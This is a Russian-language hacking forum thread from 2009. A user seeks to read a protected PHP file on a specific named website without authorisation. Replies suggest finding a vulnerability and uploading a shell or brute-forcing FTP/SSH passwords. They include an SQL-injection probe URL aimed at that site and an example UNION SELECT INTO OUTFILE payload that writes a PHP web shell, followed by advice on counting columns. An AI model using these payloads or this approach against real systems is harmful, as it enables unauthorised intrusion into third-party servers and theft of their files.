Помогите достать файл

Discussion in 'PHP' started by serg-php, 19 Aug 2009.

  1. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Привет всем!

    Столкнулся с проблемой чтения содержимого .php файла!


    _http://www.myvm3.com/modules/Editors/

    Файл hw_user.php

    Какие будут соображения?
     
  2. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    обычно если права не стоят на чтение то сообщение не такое ,а 403 форбидден.
    скорее это скрипт выдает
    знаешь так делают:
    index.php: <?php define('inside', True);
    library.php: <?php if (! defined('inside')) die('Access denied');
    что бы не вызывались файлы напрямую.
     
  3. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    А вообще, как прочитать содержимое ентого файла?
     
  4. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    Искать уязвимость и заливать шелл

    сбрутить пароль ФТП/ССШ

    а на прямую тебе сервер не отдаст содержимое PHP файла
     
  5. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    Code:
    http://www.myvm3.com/index.php?page=search&s_res=OR&q=&cid=2142&sub_cid=1'
     
  6. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    - нонсенс! После 5 неправильных попыток, хостер блокирует ip.
     
  7. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Видимо, sql-inj! Попытаться через инклуд, что ли?
     
  8. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Типа уронить пхп-интерпретор!
     
  9. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    для начала попытаться подобрать количество полей.
     
  10. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    ec3_category

    имеет такую структуру!

    id mediumint(8) unsigned NOT NULL auto_increment,
    name varchar(100) NOT NULL,
    pid mediumint(8) unsigned NOT NULL,
    fset varchar(255) NOT NULL,
    weight smallint(5) unsigned NOT NULL,
    image varchar(255) NOT NULL,
    se_url varchar(255) NOT NULL,
    descr text NOT NULL,
    meta_k text NOT NULL,
    meta_d text NOT NULL,
    PRIMARY KEY (id),
    KEY pid (pid),
    KEY fset (fset),
    KEY name ( name(5) )
     
  11. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    L I G A,

    ты это миел ввиду?

    _site.gov/main.php?cu=-1+union+select+null,null,'<? system($_GET['c']); ?>',null,null+INTO+OUTFILE+'../../../../*****/absolut/put`/k_www/shell.php'/*
     
  12. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    я имел ввиду сначала подобрать количество полей,
    в твоем запросе это количество "null'ов"
    дальше будешь видеть что и как ,и мб сможешь залить простой шелл как ты продемонстрировал на своем примере.
    и на будущее: для таких вопроов есть отдельная тема тыц
     
    1 person likes this.
  13. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Буду знать!
     
  14. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Кол-во полей в таблице известно - 14 я насчитал!
     
  15. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Какой шелл посоветуете, чтобы прочесть искомый файл или слить его локально?
     
    #15 serg-php, 19 Aug 2009
    Last edited: 19 Aug 2009
  16. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    что то я сомневаюсь,я б для начала посаветовал тебе не пожалеть время а сесть и прочитать замечательную статью
    Dr.Z3r0 о SQL INJECTION в разделе "наши статьи",если оно тебе действительно надо,а не надеятся на кого то.
     
  17. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Читаю, пробую применить примеры от /thread43966.html

    Видимо фильтруется!
     
  18. serg-php

    serg-php Elder - Старейшина

    Joined:
    28 Jan 2008
    Messages:
    313
    Likes Received:
    9
    Reputations:
    0
    Очень сложно делать что-то впервый раз! Пытаюсь использовать изнания из статьи - не получается!